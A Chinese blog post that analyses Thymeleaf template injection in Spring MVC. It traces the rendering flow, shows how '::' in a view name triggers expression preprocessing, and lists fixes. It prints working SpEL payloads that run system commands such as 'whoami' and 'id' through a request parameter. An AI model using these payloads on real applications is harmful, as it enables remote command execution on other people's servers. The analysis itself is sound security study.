Spring Thymeleaf 模版注入分析

0x00 前言

最近在学习审计的时候学习到了关于Spring下Thymeleaf模版注入的知识,随即来记录一下

0x01 前置知识

片段表达式

Thymeleaf模版存在很多表达式,感觉和jsp模板里的表达式差不多。不过功能更强大

比如以下

  • 变量表达式: ${...}
  • 选择变量表达式: *{...}
  • 消息表达: #{...}
  • 链接 URL 表达式: @{...}
  • 片段表达式: ~{...}

这里主要关注片段表达式,这个功能呢就是可以将其他模板的部分片段插入到本模板中。这个在每个模板中插入footer时经常用到

比如你在/WEB-INF/templates/footer.html中定义了这么一个片段

<!DOCTYPE html>

<html xmlns:th="http://www.thymeleaf.org">

  <body>

    <div th:fragment="aaa">
      copyright 2022
    </div>

  </body>

</html>

现在要在另一个模板中引用该片段,则可以使用片段表达式

<div th:insert="~{footer :: aaa}"></div>

<body>

  ...

  <div th:insert="~{footer :: aaa}"></div>

</body>

片段表达式的语法有三种形式:

  1. ~{templatename::selector},这种呢前面是被选的模板名,后面是片段名
  2. ~{templatename},这种的话是直接引用被选模板的全部片段
  3. ~{::selector} 或 ~{this::selector},这种意思就是选择本模板下名为selector的片段名

PS:注意如果片段表达式中出现::,那么后面必须跟片段名。否则会报错

Thymeleaf 预处理

Thymeleaf模版引擎有一个特性叫做表达式预处理(Expression PreProcessing),置于__...__之中会被预处理,预处理的结果再作为表达式的一部分继续处理。举例如下:

~{user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x/whoami}

会被预先处理为如下,然后再解析片段表达式

~{user/rerce::.x/whoami}

0x02 实验环境

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r1sqytjU-1661497301925)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826114224366.png)]

controller如下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-67xaFzZO-1661497301927)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826120306204.png)]

return "index"意为返回用model渲染的index.html模板

index.html

<!DOCTYPE html>
<html  xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>title</title>
</head>
<body>
hello 第一个Thymeleaf程序
<div th:text="${name}"></div>
</body>
</html>

访问index,成功获取到渲染后的页面

在这里插入图片描述

0x03 模板解析流程 & 漏洞分析

先来梳理以下Spring下模板渲染流程

之前讲到过Spring中的前端控制器DispatcherServlet,这个是根据请求派遣到对应controller处理然后对结果进行解析的核心类

现在重新梳理一遍DispatcherServlet#doDispatch方法

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
    	/**
		 * 声明变量 HttpServletRequest HandlerExecutionChain Handler执行链包含和最后执行的Handler
		 */
        HttpServletRequest processedRequest = request;
        HandlerExecutionChain mappedHandler = null;
    	//是不是一个多组件请求
        boolean multipartRequestParsed = false;
    	//异步管理器
        WebAsyncManager asyncManager = WebAsyncUtils.getAsyncManager(request);

        try {
            try {
                //定义模型与视图
                ModelAndView mv = null;
                //异常
                Object dispatchException = null;

                try {
                    /**
				 	* 检查是否上传请求
				 	*/
                    processedRequest = this.checkMultipart(request);
                    multipartRequestParsed = processedRequest != request;
                    //根据请求processedRequest获取handler执行链 HandlerExecutionChain,其中包含了适配的handler以及interceptor
                    mappedHandler = this.getHandler(processedRequest);
                    if (mappedHandler == null) {
                        /**
					 	* 如果mappedHandler为空就返回404
					 	*/
                        this.noHandlerFound(processedRequest, response);
                        return;
                    }
					// 确定当前请求的处理程序适配器
                    HandlerAdapter ha = this.getHandlerAdapter(mappedHandler.getHandler());
                    /**
				 	* 获取请求方法
				 	* 处理last-modified 请求头
				 	*/
					// Process last-modified header, if supported by the handler.
                    String method = request.getMethod();
                    boolean isGet = "GET".equals(method);
                    if (isGet || "HEAD".equals(method)) {
                        //获取最近修改时间,缓存
                        long lastModified = ha.getLastModified(request, mappedHandler.getHandler());
                        if ((new ServletWebRequest(request, response)).checkNotModified(lastModified) && isGet) {
                            return;
                        }
                    }

                    /**
				 	* 4.预处理,执行interceptor拦截器等
				 	*/
                    if (!mappedHandler.applyPreHandle(processedRequest, response)) {
                        return;
                    }

                    /**
				 	* 执行Controller中(Handler)的方法,返回ModelAndView视图
				 	*/
					// Actually invoke the handler.
                    mv = ha.handle(processedRequest, response, mappedHandler.getHandler());
                    if (asyncManager.isConcurrentHandlingStarted()) {
                        /**
					 	* 判断 是不是异步请求,是就返回了
					 	*/
                        return;
                    }

                    /**
				 	* 如何返回的modelandview为空,则将URI path作为mav的值
				 	*/
                    this.applyDefaultViewName(processedRequest, mv);
                    /**
				 	* 拦截器后置处理
				 	*/
                    mappedHandler.applyPostHandle(processedRequest, response, mv);
                } catch (Exception var20) {
                    dispatchException = var20;
                } catch (Throwable var21) {
                    dispatchException = new NestedServletException("Handler dispatch failed", var21);
                }

                /**
			 	* 利用返回的mv进行页面渲染
			 	*/
                this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException);
            } catch (Exception var22) {
                this.triggerAfterCompletion(processedRequest, response, mappedHandler, var22);
            } catch (Throwable var23) {
                /**
			 	* 最终对页面渲染完成调用拦截器中的AfterCompletion方法
			 	*/
                this.triggerAfterCompletion(processedRequest, response, mappedHandler, new NestedServletException("Handler processing failed", var23));
            }

        } finally {
            if (asyncManager.isConcurrentHandlingStarted()) {
                if (mappedHandler != null) {
                    mappedHandler.applyAfterConcurrentHandlingStarted(processedRequest, response);
                }
            } else if (multipartRequestParsed) {
                //清除由多个部分组成的请求使用的所有资源
                this.cleanupMultipart(processedRequest);
            }

        }
    }

下面走一遍流程

当我们访问127.0.0.1:8080/path?lang=aaa时候

获取modelandview对象

直接从ha.handle开始说起,即已经获得到了处理该请求的handler

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bw9868A9-1661497301927)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826114936234.png)]

好了程序走到ha.handle,开始进行参数绑定和方法执行。参数绑定spring那篇文章已经讲过了。这里就不再赘述,重点关注方法调用和执行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EAhid6ju-1661497301927)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826115104405.png)]

跟进handle,来到handleInternal这个方法就是使用Handler处理request并获取ModelAndView,可以看到调用了invokeHandlerMethod,而参数handlerMethod中包含了要执行的方法path

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sNs2bA7k-1661497301928)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826115225365.png)]

跟进invokeHandlerMethod,可以看到对handlerMethod包装了一下转换为invocableMethod

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4Dc4sB9z-1661497301928)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826115520685.png)]

直接来到554行invocableMethod调用invokeAndHandle

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z87ILJfJ-1661497301928)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826115631366.png)]

跟进invokeAndHandle,这里的invokeForRequest就很关键。其是根据url获取调用对应的controller,然后将返回值赋值给returnvalue。将returnvalue做为待查找的模板名,Thymeleaf会去查找对应的模板进行渲染

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4aEdkAA9-1661497301929)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826115722338.png)]

可以看到返回值为user/aaa/welcome

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HnGmHHte-1661497301929)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826120341938.png)]

然后进入到handleReturnValue,这个是根据returnValue的值填充ModelAndViewContainer

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fCbA4C3r-1661497301929)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826122435221.png)]

首先获取returnValue的处理器handler,然后调用handleReturnValue对returnValue进行处理

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T1Ku6rQC-1661497301929)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826122658097.png)]

mavContainer.viewName设置为returnValue

判断返回值是否以redirect:开头,如果是的话则设置重定向的属性

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5fWMrYj5-1661497301930)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826122718521.png)]

好了mavContainer也处理完了,一路返回来到RequestMappingHandlerAdapter#invokeHandlerMethod

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bveFk3Fm-1661497301930)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826123026284.png)]

根据mavContainer获得modelandview对象

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1pilZ2uk-1661497301930)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826123154680.png)]

回到核心类,此时已经获取到了modelandview对象

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mQMNC0GD-1661497301930)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826123425781.png)]

processDispatchResult

获取到mv后,进入processDispatchResult进行视图渲染

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8HgmJ9gg-1661497301931)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826140254397.png)]

跟进render,传入mv

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S0jLjmh9-1661497301931)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826140341772.png)]

首先获取视图解析器,然后调用解析的render渲染模板

protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception {
        Locale locale = this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale();
        response.setLocale(locale);
        String viewName = mv.getViewName();
        View view;
        if (viewName != null) {
            //获取视图解析器
            view = this.resolveViewName(viewName, mv.getModelInternal(), locale, request);
            if (view == null) {
                throw new ServletException("Could not resolve view with name '" + mv.getViewName() + "' in servlet with name '" + this.getServletName() + "'");
            }
        } else {
            view = mv.getView();
            if (view == null) {
                throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a View object in servlet with name '" + this.getServletName() + "'");
            }
        }
        if (this.logger.isTraceEnabled()) {
            this.logger.trace("Rendering view [" + view + "] ");
        }
        try {
            if (mv.getStatus() != null) {
                response.setStatus(mv.getStatus().value());
            }
        //渲染
            view.render(mv.getModelInternal(), request, response);
        } catch (Exception var8) {
            if (this.logger.isDebugEnabled()) {
                this.logger.debug("Error rendering view [" + view + "]", var8);
            }
            throw var8;
        }
    }

可以看到获取的视图解析器为thymeleafview,跟进render

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-U1rTPUbz-1661497301931)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826140733218.png)]

这里来到了关键位置,可以看到首先判断viewTemplateName是否包含::如果包含的话进入else分支,进行表达式预处理

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CFO4HITR-1661497301931)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826140853897.png)]

我们更换payload为lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x

此时viewTemplateName就是user/lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x/welcome

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PVuaW6Nk-1661497301932)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826141240263.png)]

当viewTemplateName中包含::时,thymeleaf会认为其是一个要处理的片段表达式,会给其加上~{}然后进行解析

来到109行,跟进parseExpression

首先会对片段表达式进行thymeleaf预处理

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-eJWAwA4Z-1661497301932)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826141542031.png)]

首先进行正则提取出__…__之间的东西

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FRty5iNk-1661497301932)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826141646292.png)]

此时提取出的就是${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(“whoami”).getInputStream()).next()}

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FN9Yj9er-1661497301933)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826141732026.png)]

然后调用execute执行,跟进execute最终调用org/thymeleaf/standard/expression/VariableExpression#executeVariableExpression使用SpEL执行表达式,触发任意代码执行。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1lLKdPTh-1661497301933)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826142107530.png)]

然后返回result,返回到ThymeleafView#renderFragment。可以看到我们controller返回的模板名被解析

user/lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x/welcome被解析为了user/desktop-f0jqiou\rerce模板然后selector为.x/welcome

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BPvhszrO-1661497301933)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826142300312.png)]

但是由于找不到user/desktop-f0jqiou\rerce模板,所以最终会返回404页面并携带出whoami结果

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0wotIKMJ-1661497301933)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826142536713.png)]

0x04 payload分析

针对这个payload,有两种情况

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x

  • controller有返回值,这种情况::后面只要有值就行

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mXrY9gvD-1661497301933)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826143622454.png)]

  • controller无返回值,这种情况::后面必须要有.

这种情况是通过uri path注入,前面讲到过如果controller没有return值则会在核心类中进入applyDefaultViewName,用uri path给viewname赋值,这里面会对后缀做一个清除,如果没有.的话会使得::被stipe掉,从而无法进入预处理导致无法执行任意代码

https://www.anquanke.com/post/id/254519#h3-12

payload各种变形

spel表达式不仅可以放在templatename位置,也可以放在selector位置,只不过一个有回显一个无回显

payload放在了templatename位置会以找不到模板名的方式回显回来

但如果payload放在selector位置,通过上面的分析其实也是可以触发命令执行的,只不过不会回显

各种场景下的payload变形可以参考如下两篇

https://xz.aliyun.com/t/8568

https://www.anquanke.com/post/id/254519#h3-12

0x05 总结

可以说就是Thymeleaf在处理controller返回的templatename时,如果检测到其中包含::则会认为其是一个片段表达式会对其加上~{}进行解析,在解析之前会对该表达式预处理,该过程中通过正则取出两个横线之间的内容(如果没有就不预处理,直接return)即${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}。然后调用标准解析器对其进行解析,因为最终是一个spel表达式,所以导致spel命令执行。将该执行结果替换到templatename上,所以最终templatename变为了~{user/desktop-f0jqiou\rerce::.x/welcome},然后再进行片段表达式解析,::前面的为模板名但又因为找不到user/desktop-f0jqiou\rerce这个模板,所以最终会以报错的方式将命令结果回显回来

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-99X3URzu-1661497301934)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220826143622454.png)]

0x06 修复方式

  • 配置 @ResponseBody 或者 @RestController

这样 spring 框架就不会将其解析为视图名,而是直接返回, 不再调用模板解析。

  • 在返回值前面加上 “redirect:”

这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。

  • 在方法参数中加上 HttpServletResponse 参数、

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。

0x07 参考

https://www.anquanke.com/post/id/254519

https://xz.aliyun.com/t/10514

https://www.cnblogs.com/nice0e3/p/16212784.html

https://xz.aliyun.com/t/8568

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值